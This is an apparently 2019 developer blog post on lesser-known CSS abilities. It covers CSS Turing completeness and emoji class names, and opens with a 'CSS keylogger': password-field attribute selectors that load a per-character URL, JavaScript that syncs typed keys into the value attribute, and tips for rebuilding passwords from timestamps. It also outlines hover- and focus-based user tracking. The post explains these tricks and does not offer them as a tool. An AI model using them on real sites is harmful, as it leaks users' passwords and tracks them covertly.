Time for #DevDiscuss!

Tonight’s topic: CSS can do that?

Let’s start with some questions:

– What is a CSS feature not everybody knows about?

– What has changed about CSS capabilities in the past few years?

– How do you approach browser support issues and fallbacks? pic.twitter.com/eg9THMsVnT

— DEV Community ?‍??‍? (@ThePracticalDev) August 14, 2019

Inspired by today’s #DevDiscuss I commented with my favourite misdeeds in CSS.

Did you know you can do user tracking of clicks/mouse movements/etc. only with CSS?

How about creating a keylogger?

Yep, all that’s possible with CSS #DevDiscuss https://t.co/vIzJdSHNp7

— Aaron Powell (@slace) August 14, 2019

So let’s have a look at how they work.

CSS Keylogger

This has been around for a while now that you can use CSS to create a keylogger, but as is rightly pointed out in this post it’s not “really” just CSS, it does rely on some JavaScript. So let’s dissect how it works.

We have our selector like so:

input[type="password"][value$="a"] {
    background-image: url("http://localhost:3000/a");

Assume it’s repeated for every character you want to log.

The important part of the selector is the substring match on value, this part: [value$="a"]. This is an attribute selector, specifically a substring selector that was added as part of CSS 3 and what it’s doing is saying is that it’ll match when the value attribute of the DOM element ends with a (you can use ^ for begins with if you wanted).

So we’re matching when the value attribute contains that but if you were to look into the DOM of a form on a page you’ll notice something, the value attribute isn’t set. Here, take a look at this:

If you open up the dev tools in your browser you’ll notice that when you type in the input the attribute doesn’t change, it’s always set to Test here. But if you were to use JavaScript to inspect the value, document.getElementById('demo-01').value it’ll have what you entered. This is because the attribute represents the default value of the , not the current value, that’s something that might get computed, depending on the type of input you have.

What does it mean for us creating a keylogger in CSS? Well, the simple fact is that you can’t create one purely with CSS but you can create one with CSS and a bit of JavaScript because we’re going to need to update the value attribute along the way.

This is quite easy to do, you just need some JavaScript like this:

let inputs = document.getElementsByTagName("input");

for (let i = 0; i < inputs.length; i  ) {
    let input = inputs[i];

    input.addEventListener("keypress", e => {
        let char = String.fromCharCode(e.keyCode);
        let newValue = input.value   char;
        input.setAttribute("value", newValue);
        input.setSelectionRange(newValue.length, newValue.length);

What this does is it “pretends” that you’re doing your keypress appropriately by catching it early and then pushing the character you intended to enter onto the value attribute, making it look like you were typing normally. We then use the setSelectionRange method on the input to position the caret to the end of the input so you are none the wiser. A demo can be found here of this in action.

But if you’re able to run JavaScript to bypass how the DOM works, why bother with CSS anyway? The problem isn’t so much the code you write but more the code you might leverage, in particular, UI frameworks.

For example, React synchronises the value attribute with state if you’re using a controlled form, which is something that this issue tracks. So if you’re on a website that is using React then that website is vulnerable to this kind of an attack, whether it’s through an extension in your browser or some dodgy ad running on the site.

Yes, you require JavaScript to properly implement a “CSS keylogger”, but that doesn’t mean that you have to write the JavaScript.

I just want to quickly touch on some points the author makes in this post. They state that it’s not really a big deal because the background-image is only done for the first match so repeated characters won’t pick up (e.g. a password of password will miss a s), and that is true (the value didn’t change the last character at pass so the selector wasn’t triggered) but the data capture will include timestamps and if you take a level of variance between the timestamp of events you can extrapolate your own gaps (if it took 0.1ms between captures and then there was an 0.5, maybe some characters were duplicated). The same goes for the observation that the order-of-receive isn’t guaranteed. That’s true, the server may receive them out of order, but when you have all (or 90 %) characters of a password the ability to brute force goes down drastically.

User Tracking with CSS

This is not quite as scary as a keylogger but it does borrow the same underlying principle as the keylogger.

For this we’re going to exploit CSS Pseudo-Classes, which allow us to hook into a number of events of DOM elements.

Here’s the CSS that I applied to those elements:

#demo-02 p:hover {
    background-color: #f0a;

#demo-02 input:focus {
    background-color: #bada55;

#demo-02 button:active {
    color: #ff0000;

I’m just using pseudo-classes like :hover, :focus and :active to know when you’ve done something and then change some colours, but again I could be setting the background-image to a tracking URL.

How could this be made useful? Well, think of it like implementing Google Analytics, you could do something like attach a :hover state to the body element so you know when the page is appearing for the user and then more hover states on all the child elements; as the user moves around the page you’re capturing the rough position of their cursor and knowing what they are spending their time on. If there’s a form you can work out how long they spent on each field, how they navigate forwards and backwards through a multi-step form, or if they change answers on radio buttons/checkboxes.

Like the keylogger it isn’t as straight forward as it might seem, you would have to have a decent idea of the structure of the DOM to be able to create a really fine-grade tracker (or use JavaScript), but if you’re using it for your own analytics it’s very achievable.

CSS is Turing Complete

Ok, CSS HTML if you want to be pedantic but it’s true, it is possible to implement Rule 110 with just CSS and HTML:

Credit to eliheeli on GitHub for the working example of it.

This works by abusing Pesudo-classes like our tracker and combining those with the Adjacent sibling combinator. The adjacent sibing combinator, or for short, works like this:

I’m a paragraph.

I’m an adjacent paragraph

#demo-03 p {
    color: #00bb00;

#demo-03 p   p {
    font-family: "Comic Sans MS", sans serif;
    font-style: italic;

Here we’re applying a rule to all p elements, but then we’re using the adjacent sibling selector to apply a rule to the 2nd p only (in this case, turning on a different font family and style). By applying conditions on the first half of the selector, such as a pesudo-class, the cascade of the rules can be greatly limited.

Emoji Class Names

Who doesn’t love themselves a liberal usage of Emoji’s throughout their work? Well did you know that you can use Emoji as the class names in CSS? According to the spec they are technically valid, meaning you can do this:


#demo-04 .? {
    font-family: "Comic Sans MS";
    text-decoration: #f0a underline overline wavy;
    text-shadow: 2px 2px #bada55;
    transform: rotate(45deg);
    display: inline-block;

In reality you probably shouldn’t do this, but hey, you could shave a few bytes over the wire for the sake of a few users not being able to access your site (or dev on your codebase)!


What started from a throw-away tweet became the catalyst for writing a post I’ve been meaning to do for a few years now! ?

I hope you’ve enjoyed a look at a few things you can do with CSS, but maybe shouldn’t.

What are your favourite ways to exploit CSS?

Published: 2019-08-14 16:34:43 1000 1000, Version: 2dd41e4

Leave a Reply

Your email address will not be published. Required fields are marked *